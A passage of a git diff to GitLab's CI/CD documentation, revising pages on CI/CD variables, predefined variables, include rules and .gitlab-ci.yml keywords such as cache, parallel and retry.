CI_JOB_TOKEN="[masked]" -export CI_PIPELINE_ID="1000" -export CI_PIPELINE_IID="10" -export CI_PAGES_DOMAIN="gitlab.io" -export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss" -export CI_PROJECT_ID="34" -export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss" -export CI_PROJECT_NAME="gitlab-foss" -export CI_PROJECT_TITLE="GitLab FOSS" -... -``` - -## Pass an environment variable to another job +### Pass an environment variable to another job > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1. @@ -566,7 +422,7 @@ they can be used in job scripts. - Each defined line must be of the form `VARIABLE_NAME=ANY VALUE HERE`. - Values can be wrapped in quotes, but cannot contain newline characters. 1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/artifacts_reports.md#artifactsreportsdotenv) -artifact. + artifact. 1. Jobs in later stages can then [use the variable in scripts](#use-cicd-variables-in-job-scripts). Inherited variables [take precedence](#cicd-variable-precedence) over @@ -616,7 +472,6 @@ deploy_one: name: customer1 deployment_tier: production - deploy_two: stage: deploy script: @@ -636,7 +491,6 @@ deploy_three: name: customer3 deployment_tier: production - deploy_four: stage: deploy script: @@ -663,6 +517,67 @@ deploy_five: [Multi-project pipelines](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job) can also inherit variables from their upstream pipelines. +### Store multiple values in one variable + +You cannot create a CI/CD variable that is an array of values, but you +can use shell scripting techniques for similar behavior. + +For example, you can store multiple variables separated by a space in a variable, +then loop through the values with a script: + +```yaml +job1: + variables: + FOLDERS: src test docs + script: + - | + for FOLDER in $FOLDERS + do + echo "The path is root/${FOLDER}" + done +``` + +## Use CI/CD variables in other variables + +You can use variables inside other variables: + +```yaml +job: + variables: + FLAGS: '-al' + LS_CMD: 'ls "$FLAGS"' + script: + - 'eval "$LS_CMD"' # Executes 'ls -al' +``` + +### Use the `$` character in CI/CD variables + +If you do not want the `$` character interpreted as the start of a variable, use `$$` instead: + +```yaml +job: + variables: + FLAGS: '-al' + LS_CMD: 'ls "$FLAGS" $$TMP_DIR' + script: + - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR' +``` + +### Prevent CI/CD variable expansion + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 15.7. + +Expanded variables treat values with the `$` character as a reference to another variable. +CI/CD variables are expanded by default. + +To treat variables with a `$` character as raw strings, disable variable expansion for the variable: + +1. In the project or group, go to **Settings > CI/CD**. +1. Expand the **Variables** section. +1. Next to the variable you want to do not want expanded, select **Edit**. +1. Clear the **Expand variable** checkbox. +1. Select **Update variable**. + ## CI/CD variable precedence You can use CI/CD variables with the same name in different places, but the values @@ -676,16 +591,16 @@ The order of precedence for variables is (from highest to lowest): - [Scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule). - [Manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). - Variables added when [creating a pipeline with the API](../../api/pipelines.md#create-a-new-pipeline). -1. Project [variables](#custom-cicd-variables). -1. Group [variables](#add-a-cicd-variable-to-a-group). If the same variable name exists in a +1. Project [variables](#for-a-project). +1. Group [variables](#for-a-group). If the same variable name exists in a group and its subgroups, the job uses the value from the closest subgroup. For example, if you have `Group > Subgroup 1 > Subgroup 2 > Project`, the variable defined in `Subgroup 2` takes precedence. -1. Instance [variables](#add-a-cicd-variable-to-an-instance). +1. Instance [variables](#for-an-instance). 1. [Inherited variables](#pass-an-environment-variable-to-another-job). 1. Variables defined in jobs in the `.gitlab-ci.yml` file. 1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. -1. [Deployment variables](#deployment-variables). +1. [Deployment variables](predefined_variables.md#deployment-variables). 1. [Predefined variables](predefined_variables.md). In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`. @@ -702,7 +617,7 @@ job1: - echo "The variable value is $API_TOKEN" ``` -## Override a defined CI/CD variable +### Override a defined CI/CD variable You can override the value of a variable when you: @@ -743,46 +658,66 @@ use this setting for control over the environment the pipeline runs in. You can enable this feature by using [the projects API](../../api/projects.md#edit-project) to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. -## Limit the environment scope of a CI/CD variable +## Related topics -By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a -compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is -a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting -the environment scope of a variable. GitLab does this by -[defining which environments and corresponding jobs](../environments/index.md) -the variable can be available for. +- You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables + to a running application. To make a CI/CD variable available as an environment variable in the running application's container, + [prefix the variable key](../../topics/autodevops/cicd_variables.md#configure-application-secret-variables) + with `K8S_SECRET_`. -To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scope-environments-with-specs). +- The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) + video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) + working example project. It explains how multiple levels of group CI/CD variables + can be combined with environment-scoped project variables for complex configuration + of application builds or deployments. -To learn more about ensuring CI/CD variables are only exposed in pipelines running from protected -branches or tags, see [Protected CI/CD variables](#protected-cicd-variables). + The example can be copied to your own group or instance for testing. More details + on what other GitLab CI patterns are demonstrated are available at the project page. -## Deployment variables +## Troubleshooting -Integrations that are responsible for deployment configuration can define their own -variables that are set in the build environment. These variables are only defined -for [deployment jobs](../environments/index.md). +### List all variables -For example, the [Kubernetes integration](../../user/project/clusters/deploy_to_cluster.md#deployment-variables) -defines deployment variables that you can use with the integration. - -The [documentation for each integration](../../user/project/integrations/index.md) -explains if the integration has any deployment variables available. - -## Auto DevOps environment variables +You can list all variables available to a script with the `export` command +in Bash or `dir env:` in PowerShell. This exposes the values of **all** available +variables, which can be a [security risk](#cicd-variable-security). +[Masked variables](#mask-a-cicd-variable) display as `[masked]`. -You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables -to a running application. +For example: -To make a CI/CD variable available as an environment variable in the running application's container, -[prefix the variable key](../../topics/autodevops/cicd_variables.md#configure-application-secret-variables) -with `K8S_SECRET_`. +```yaml +job_name: + script: + - export + # - 'dir env:' # Use this for PowerShell +``` -CI/CD variables with multi-line values are not supported. +Example job log output (truncated): -## Debug logging +```shell +export CI_JOB_ID="50" +export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" +export CI_COMMIT_SHORT_SHA="1ecfd275" +export CI_COMMIT_REF_NAME="main" +export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" +export CI_COMMIT_TAG="1.0.0" +export CI_JOB_NAME="spec:other" +export CI_JOB_STAGE="test" +export CI_JOB_MANUAL="true" +export CI_JOB_TRIGGERED="true" +export CI_JOB_TOKEN="[masked]" +export CI_PIPELINE_ID="1000" +export CI_PIPELINE_IID="10" +export CI_PAGES_DOMAIN="gitlab.io" +export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss" +export CI_PROJECT_ID="34" +export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss" +export CI_PROJECT_NAME="gitlab-foss" +export CI_PROJECT_TITLE="GitLab FOSS" +... +``` -> Introduced in GitLab Runner 1.7. +### Enable debug logging WARNING: Debug logging can be a serious security risk. The output contains the content of @@ -798,8 +733,6 @@ Before you enable debug logging, make sure only team members can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline) with debug output before you make logs public again. -### Enable Debug logging - To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`: ```yaml @@ -881,7 +814,7 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ... ``` -### Restrict access to debug logging +#### Restrict access to debug logging > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8. @@ -890,21 +823,10 @@ You can restrict access to debug logging. When restricted, only users with at least the Developer role can view job logs when debug logging is enabled with a variable in: -- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +- The [`.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). - The CI/CD variables set in the GitLab UI. WARNING: If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible to all users with access to job logs. The permission levels are not checked by the runner, so you should only use the variable in GitLab itself. - -## Video walkthrough of a working example - -The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) -video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) -working example project. It explains how multiple levels of group CI/CD variables -can be combined with environment-scoped project variables for complex configuration -of application builds or deployments. - -The example can be copied to your own group or instance for testing. More details -on what other GitLab CI patterns are demonstrated are available at the project page. diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index d7f67b79416..b9557b98066 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -11,7 +11,7 @@ Predefined [CI/CD variables](index.md) are available in every GitLab CI/CD pipel Some variables are only available with more recent versions of [GitLab Runner](https://docs.gitlab.com/runner/). -You can [output the values of all variables available for a job](index.md#list-all-environment-variables) +You can [output the values of all variables available for a job](index.md#list-all-variables) with a `script` command. There are also a number of [variables you can use to configure runner behavior](../runners/configure_runners.md#configure-runner-behavior-with-variables) globally or for individual jobs. @@ -45,7 +45,7 @@ as it can cause the pipeline to behave unexpectedly. | `CI_CONCURRENT_ID` | all | 11.10 | The unique ID of build execution in a single executor. | | `CI_CONCURRENT_PROJECT_ID` | all | 11.10 | The unique ID of build execution in a single executor and project. | | `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to the CI/CD configuration file. Defaults to `.gitlab-ci.yml`. Read-only inside a running pipeline. | -| `CI_DEBUG_TRACE` | all | 1.7 | `true` if [debug logging (tracing)](index.md#debug-logging) is enabled. | +| `CI_DEBUG_TRACE` | all | 1.7 | `true` if [debug logging (tracing)](index.md#enable-debug-logging) is enabled. | | `CI_DEBUG_SERVICES` | 15.7 | 15.7 | `true` if [service container logging](../services/index.md#capturing-service-container-logs) is enabled. | | `CI_DEFAULT_BRANCH` | 12.4 | all | The name of the project's default branch. | | `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` | 13.7 | all | The top-level group image prefix for pulling images through the Dependency Proxy. | @@ -135,10 +135,10 @@ as it can cause the pipeline to behave unexpectedly. | `CI_TEMPLATE_REGISTRY_HOST` | 15.3 | all | The host of the registry used by CI/CD templates. Defaults to `registry.gitlab.com`. | | `GITLAB_CI` | all | all | Available for all jobs executed in CI/CD. `true` when available. | | `GITLAB_FEATURES` | 10.6 | all | The comma-separated list of licensed features available for the GitLab instance and license. | -| `GITLAB_USER_EMAIL` | 8.12 | all | The email of the user who started the job. | -| `GITLAB_USER_ID` | 8.12 | all | The ID of the user who started the job. | -| `GITLAB_USER_LOGIN` | 10.0 | all | The username of the user who started the job. | -| `GITLAB_USER_NAME` | 10.0 | all | The name of the user who started the job. | +| `GITLAB_USER_EMAIL` | 8.12 | all | The email of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the email of the user who started the job. | +| `GITLAB_USER_ID` | 8.12 | all | The ID of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the ID of the user who started the job. | +| `GITLAB_USER_LOGIN` | 10.0 | all | The username of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the username of the user who started the job. | +| `GITLAB_USER_NAME` | 10.0 | all | The name of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the name of the user who started the job. | | `TRIGGER_PAYLOAD` | 13.9 | all | The webhook payload. Only available when a pipeline is [triggered with a webhook](../triggers/index.md#use-a-webhook-payload). | ## Predefined variables for merge request pipelines @@ -189,3 +189,15 @@ These variables are only available when: | `CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_SHA` | 12.3 | all | The HEAD SHA of the source branch of the pull request. | | `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_NAME` | 12.3 | all | The target branch name of the pull request. | | `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_SHA` | 12.3 | all | The HEAD SHA of the target branch of the pull request. | + +## Deployment variables + +Integrations that are responsible for deployment configuration can define their own +predefined variables that are set in the build environment. These variables are only defined +for [deployment jobs](../environments/index.md). + +For example, the [Kubernetes integration](../../user/project/clusters/deploy_to_cluster.md#deployment-variables) +defines deployment variables that you can use with the integration. + +The [documentation for each integration](../../user/project/integrations/index.md) +explains if the integration has any deployment variables available. diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index 88d0c9a2454..6ea1f454467 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -36,6 +36,7 @@ There are two places defined variables can be used. On the: | [`include`](../yaml/index.md#include) | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. <br/><br/>See [Use variables with include](../yaml/includes.md#use-variables-with-include) for more information on supported variables. | | [`only:variables`](../yaml/index.md#onlyvariables--exceptvariables) | no | Not applicable | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- `CI_ENVIRONMENT_*` variables, except `CI_ENVIRONMENT_NAME` which is supported.<br/>- [Persisted variables](#persisted-variables). | | [`resource_group`](../yaml/index.md#resource_group) | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/>- `CI_ENVIRONMENT_URL`<br/>- [Persisted variables](#persisted-variables). | +| [`rules:changes`](../yaml/index.md#ruleschanges) | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. | | [`rules:exists`](../yaml/index.md#rulesexists) | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. | | [`rules:if`](../yaml/index.md#rulesif) | no | Not applicable | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- `CI_ENVIRONMENT_*` variables, except `CI_ENVIRONMENT_NAME` which is supported.<br/>- [Persisted variables](#persisted-variables). | | [`script`](../yaml/index.md#script) | yes | Script execution shell | The variable expansion is made by the [execution shell environment](#execution-shell-environment). | diff --git a/doc/ci/yaml/artifacts_reports.md b/doc/ci/yaml/artifacts_reports.md index e12786f06ce..38b0ab1f0a3 100644 --- a/doc/ci/yaml/artifacts_reports.md +++ b/doc/ci/yaml/artifacts_reports.md @@ -115,8 +115,8 @@ collected code quality report uploads to GitLab as an artifact. GitLab can display the results of one or more reports in: -- The merge request [code quality widget](../testing/code_quality.md#code-quality-widget). -- The merge request [diff annotations](../testing/code_quality.md#code-quality-in-diff-view). +- The merge request [code quality widget](../testing/code_quality.md#merge-request-widget). +- The merge request [diff annotations](../testing/code_quality.md#merge-request-changes-view). - The [full report](../testing/metrics_reports.md). ## `artifacts:reports:container_scanning` **(ULTIMATE)** diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md index daf2e653250..b1f43a4679b 100644 --- a/doc/ci/yaml/includes.md +++ b/doc/ci/yaml/includes.md @@ -56,7 +56,7 @@ You can include an array of configuration files: - template: Auto-DevOps.gitlab-ci.yml ``` -- You can define an array that combines both default and specific `include` type: +- You can define an array that combines both default and specific `include` types: ```yaml include: @@ -290,9 +290,9 @@ smoke-test-job: In `include` sections in your `.gitlab-ci.yml` file, you can use: -- [Project variables](../variables/index.md#add-a-cicd-variable-to-a-project). -- [Group variables](../variables/index.md#add-a-cicd-variable-to-a-group). -- [Instance variables](../variables/index.md#add-a-cicd-variable-to-an-instance). +- [Project variables](../variables/index.md#for-a-project). +- [Group variables](../variables/index.md#for-a-group). +- [Instance variables](../variables/index.md#for-an-instance). - Project [predefined variables](../variables/predefined_variables.md). - In GitLab 14.2 and later, the `$CI_COMMIT_REF_NAME` [predefined variable](../variables/predefined_variables.md). @@ -333,52 +333,82 @@ see this [CI/CD variable demo](https://youtu.be/4XR8gw3Pkos). ## Use `rules` with `include` > - Introduced in GitLab 14.2 [with a flag](../../administration/feature_flags.md) named `ci_include_rules`. Disabled by default. -> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.3. -> - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) GitLab 14.3. -> - [Feature flag `ci_include_rules` removed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.4. -> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.4. +> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.3. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.4. Feature flag `ci_include_rules` removed. > - [Support for `exists` keyword added](https://gitlab.com/gitlab-org/gitlab/-/issues/341511) in GitLab 14.5. You can use [`rules`](index.md#rules) with `include` to conditionally include other configuration files. -You can only use the following rules with `include` (and only with [certain variables](#use-variables-with-include)): +You can only use `rules` with [certain variables](#use-variables-with-include), and +these keywords: -- [`if` rules](index.md#rulesif). For example: +- [`rules:if`](index.md#rulesif). +- [`rules:exists`](index.md#rulesexists). - ```yaml - include: - - local: builds.yml - rules: - - if: $INCLUDE_BUILDS == "true" - - local: deploys.yml - rules: - - if: $CI_COMMIT_BRANCH == "main" - - test: - stage: test - script: exit 0 - ``` +You cannot use [`needs:`](index.md#needs) to create a job dependency that points to +a job added with `include:local:rules`. When the configuration is validated, +GitLab returns `undefined need: <job-name>`. [Issue 345377](https://gitlab.com/gitlab-org/gitlab/-/issues/345377) +proposes improving this behavior. -- [`exists` rules](index.md#rulesexists). For example: +### `include` with `rules:if` - ```yaml - include: - - local: builds.yml - rules: - - exists: - - file.md - - test: - stage: test - script: exit 0 - ``` +Use [`rules:if`](index.md#rulesif) to conditionally include other configuration files +based on the status of CI/CD variables. For example: -`rules` keyword `changes` is not supported. +```yaml +include: + - local: builds.yml + rules: + - if: $INCLUDE_BUILDS == "true" + - local: deploys.yml + rules: + - if: $CI_COMMIT_BRANCH == "main" + +test: + stage: test + script: exit 0 +``` -You cannot use [`needs:`](index.md#needs) to create a job dependency that points to -a job added with `include:local:rules`. When the configuration is checked for validity, -GitLab returns `undefined need: <job-name>`. An [issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/345377) -to improve this behavior. +### `include` with `rules:exists` + +Use [`rules:exists`](index.md#rulesexists) to conditionally include other configuration files +based on the existence of files. For example: + +```yaml +include: + - local: builds.yml + rules: + - exists: + - file.md + +test: + stage: test + script: exit 0 +``` + +In this example, GitLab checks for the existence of `file.md` in the current project. + +There is a known issue if you configure `include` with `rules:exists` to add a configuration file +from a different project. GitLab checks for the existence of the file in the _other_ project. +For example: + +```yaml +include: +- project: my-group/my-project-2 + ref: main + file: test-file.yml + rules: + - exists: + - file.md + +test: + stage: test + script: exit 0 +``` + +In this example, GitLab checks for the existence of `test-file.yml` in `my-group/my-project-2`, +not the current project. Follow [issue 386040](https://gitlab.com/gitlab-org/gitlab/-/issues/386040) +for information about work to improve this behavior. ## Use `include:local` with wildcard file paths diff --git a/doc/ci/yaml/index.md b/doc/ci/yaml/index.md index dffe409b193..3796eed54e1 100644 --- a/doc/ci/yaml/index.md +++ b/doc/ci/yaml/index.md @@ -171,7 +171,7 @@ the time limit to resolve all files is 30 seconds. #### `include:local` -Use `include:local` to include a file that is in the same repository as the `.gitlab-ci.yml` file. +Use `include:local` to include a file that is in the same repository as the project running the pipeline. Use `include:local` instead of symbolic links. **Keyword type**: Global keyword. @@ -397,10 +397,7 @@ Use [`workflow`](workflow.md) to control pipeline behavior. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/372538) in GitLab 15.5 [with a flag](../../administration/feature_flags.md) named `pipeline_name`. Disabled by default. > - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/376095) in GitLab 15.7. - -FLAG: -On self-managed GitLab, by default this feature is available. To hide the feature, -ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `pipeline_name`. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/376095) in GitLab 15.8. Feature flag `pipeline_name` removed. You can use `name` in `workflow:` to define a name for pipelines. @@ -669,6 +666,7 @@ In this example, `job1` and `job2` run in parallel: **Additional details**: - You can use `allow_failure` as a subkey of [`rules`](#rulesallow_failure). +- If `allow_failure: true` is set, the job is always considered successful, and later jobs with [`when: on_failure`](#when) don't start if this job fails. - You can use `allow_failure: false` with a manual job to create a [blocking manual job](../jobs/job_control.md#types-of-manual-jobs). A blocked pipeline does not run any jobs in later stages until the manual job is started and completes successfully. @@ -1003,7 +1001,7 @@ rspec: - Combining reports in parent pipelines using [artifacts from child pipelines](#needspipelinejob) is not supported. Track progress on adding support in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215725). -- To be able to browse the report output files, include the [`artifacts:paths`](#artifactspaths) keyword. This will upload and store the artifact twice. +- To be able to browse the report output files, include the [`artifacts:paths`](#artifactspaths) keyword. This uploads and stores the artifact twice. - The test reports are collected regardless of the job results (success or failure). You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration date for artifacts reports. @@ -1103,10 +1101,16 @@ job: ### `cache` +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330047) in GitLab 15.0, caches are not shared between protected and unprotected branches. + Use `cache` to specify a list of files and directories to cache between jobs. You can only use paths that are in the local working copy. -Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts). +Caches are: + +- Shared between pipelines and jobs. +- By default, not shared between [protected](../../user/project/protected_branches.md) and unprotected branches. +- Restored before [artifacts](#artifacts). Learn more about caches in [Caching in GitLab CI/CD](../caching/index.md). @@ -1142,6 +1146,10 @@ rspec: - .config ``` +**Additional details**: + +- The `cache:paths` keyword includes files even if they are untracked or in your `.gitignore` file. + **Related topics**: - See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more @@ -1289,6 +1297,11 @@ Untracked files include files that are: - Ignored due to [`.gitignore` configuration](https://git-scm.com/docs/gitignore). - Created, but not added to the checkout with [`git add`](https://git-scm.com/docs/git-add). +Caching untracked files can create unexpectedly large caches if the job downloads: + +- Dependencies, like gems or node modules, which are usually untracked. +- [Artifacts](#artifacts) from a different job. Files extracted from the artifacts are untracked by default. + **Keyword type**: Job keyword. You can use it only as part of a job or in the [`default` section](#default). @@ -1307,8 +1320,9 @@ rspec: **Additional details**: -- You can combine `cache:untracked` with `cache:paths` to cache all untracked files - as well as files in the configured paths. This is useful for including files that are not tracked because of a `.gitignore` configuration. For example: +- You can combine `cache:untracked` with `cache:paths` to cache all untracked files, as well as files in the configured paths. + Use `cache:paths` to cache any specific files, including tracked files, or files that are outside of the working directory, + and use `cache: untracked` to also cache all untracked files. For example: ```yaml rspec: @@ -1319,6 +1333,36 @@ rspec: - binaries/ ``` + In this example, the job caches all untracked files in the repository, as well as all the files in `binaries/`. + If there are untracked files in `binaries/`, they are covered by both keywords. + +#### `cache:unprotect` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362114) in GitLab 15.8. + +Use `cache:unprotect` to set a cache to be shared between [protected](../../user/project/protected_branches.md) +and unprotected branches. + +WARNING: +When set to `true`, users without access to protected branches can read and write to +cache keys used by protected branches. + +**Keyword type**: Job keyword. You can use it only as part of a job or in the +[`default` section](#default). + +**Possible inputs**: + +- `true` or `false` (default). + +**Example of `cache:untracked`**: + +```yaml +rspec: + script: test + cache: + unprotect: true +``` + #### `cache:when` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18969) in GitLab 13.5 and GitLab Runner v13.5.0. @@ -2820,6 +2864,8 @@ You must: ### `parallel` +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/336576) in GitLab 15.9, the maximum value for `parallel` is increased from 50 to 200. + Use `parallel` to run a job multiple times in parallel in a single pipeline. Multiple runners must exist, or a single runner must be configured to run multiple jobs concurrently. @@ -2830,7 +2876,7 @@ Parallel jobs are named sequentially from `job_name 1/N` to `job_name N/N`. **Possible inputs**: -- A numeric value from `2` to `50`. +- A numeric value from `2` to `200`. **Example of `parallel`**: @@ -2855,6 +2901,7 @@ This example creates 5 jobs that run in parallel, named `test 1/5` to `test 5/5` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15356) in GitLab 13.3. > - The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452). +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/336576) in GitLab 15.9, the maximum number of permutations is increased from 50 to 200. Use `parallel:matrix` to run a job multiple times in parallel in a single pipeline, but with different variable values for each instance of the job. @@ -2867,7 +2914,7 @@ Multiple runners must exist, or a single runner must be configured to run multip - The variable names can use only numbers, letters, and underscores (`_`). - The values must be either a string, or an array of strings. -- The number of permutations cannot exceed 50. +- The number of permutations cannot exceed 200. **Example of `parallel:matrix`**: @@ -3242,7 +3289,9 @@ Use `retry:when` with `retry:max` to retry jobs for only specific failure cases. - `always`: Retry on any failure (default). - `unknown_failure`: Retry when the failure reason is unknown. -- `script_failure`: Retry when the script failed. +- `script_failure`: Retry when: + - The script failed. + - The runner failed to pull the Docker image. For `docker`, `docker+machine`, `kubernetes` [executors](https://docs.gitlab.com/runner/executors/). - `api_failure`: Retry on API failure. - `stuck_or_timeout_failure`: Retry when the job got stuck or timed out. - `runner_system_failure`: Retry if there is a runner system failure (for example, job setup failed). @@ -3332,8 +3381,8 @@ Use `rules:if` clauses to specify when to add a job to a pipeline: - If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline. - If no `if` statements are true, do not add the job to the pipeline. -`if` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md) -or [custom CI/CD variables](../variables/index.md#custom-cicd-variables), with +`if` clauses are evaluated based on the values of [CI/CD variables](../variables/index.md) +or [predefined CI/CD variables](../variables/predefined_variables.md), with [some exceptions](../variables/where_variables_can_be_used.md#gitlab-ciyml-file). **Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job @@ -3451,7 +3500,7 @@ any subkeys. All additional details and related topics are the same. **Possible inputs**: -- An array of file paths. In GitLab 13.6 and later, [file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges). +- An array of file paths. [File paths can include variables](../jobs/job_control.md#variables-in-ruleschanges). **Example of `rules:changes:paths`**: @@ -3657,7 +3706,7 @@ Use `secrets` to specify [CI/CD secrets](../secrets/index.md) to: - Retrieve from an external secrets provider. - Make available in the job as [CI/CD variables](../variables/index.md) - ([`file` type](../variables/index.md#cicd-variable-types) by default). + ([`file` type](../variables/index.md#use-file-type-cicd-variables) by default). This keyword must be used with `secrets:vault`. @@ -3716,7 +3765,7 @@ job: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250695) in GitLab 14.1 and GitLab Runner 14.1. Use `secrets:file` to configure the secret to be stored as either a -[`file` or `variable` type CI/CD variable](../variables/index.md#cicd-variable-types) +[`file` or `variable` type CI/CD variable](../variables/index.md#use-file-type-cicd-variables) By default, the secret is passed to the job as a `file` type CI/CD variable. The value of the secret is stored in the file and the variable contains the path to the file. @@ -4252,8 +4301,8 @@ child3: ### `variables` -[CI/CD variables](../variables/index.md) are configurable values that are passed to jobs. -Use `variables` to create [custom variables](../variables/index.md#custom-cicd-variables). +Use `variables` to define [CI/CD variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), +which are configurable values that are passed to jobs. Variables are always available in `script`, `before_script`, and `after_script` commands. You can also use variables as inputs in some job keywords. @@ -4298,7 +4347,7 @@ deploy_review_job: - All YAML-defined variables are also set to any linked [Docker service containers](../services/index.md). - YAML-defined variables are meant for non-sensitive project configuration. Store sensitive information - in [protected variables](../variables/index.md#protected-cicd-variables) or [CI/CD secrets](../secrets/index.md). + in [protected variables](../variables/index.md#protect-a-cicd-variable) or [CI/CD secrets](../secrets/index.md). - [Manual pipeline variables](../variables/index.md#override-a-defined-cicd-variable) and [scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule) are not passed to downstream pipelines by default. Use [trigger:forward](#triggerforward) @@ -4306,7 +4355,6 @@ deploy_review_job: **Related topics**: -- You can use [YAML anchors for variables](yaml_optimization.md#yaml-anchors-for-variables). - [Predefined variables](../variables/predefined_variables.md) are variables the runner automatically creates and makes available in the job. - You can [configure runner behavior with variables](../runners/configure_runners.md#configure-runner-behavior-with-variables). @@ -4348,10 +4396,7 @@ variables: > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/353991) in GitLab 15.6 [with a flag](../../administration/feature_flags.md) named `ci_raw_variables_in_yaml_config`. Disabled by default. > - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/375034) in GitLab 15.6. > - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/375034) in GitLab 15.7. - -FLAG: -On self-managed GitLab, by default this feature is available. To hide the feature per project, -ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `ci_raw_variables_in_yaml_config`. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/375034) in GitLab 15.8. Feature flag `ci_raw_variables_in_yaml_config` removed. Use the `expand` keyword 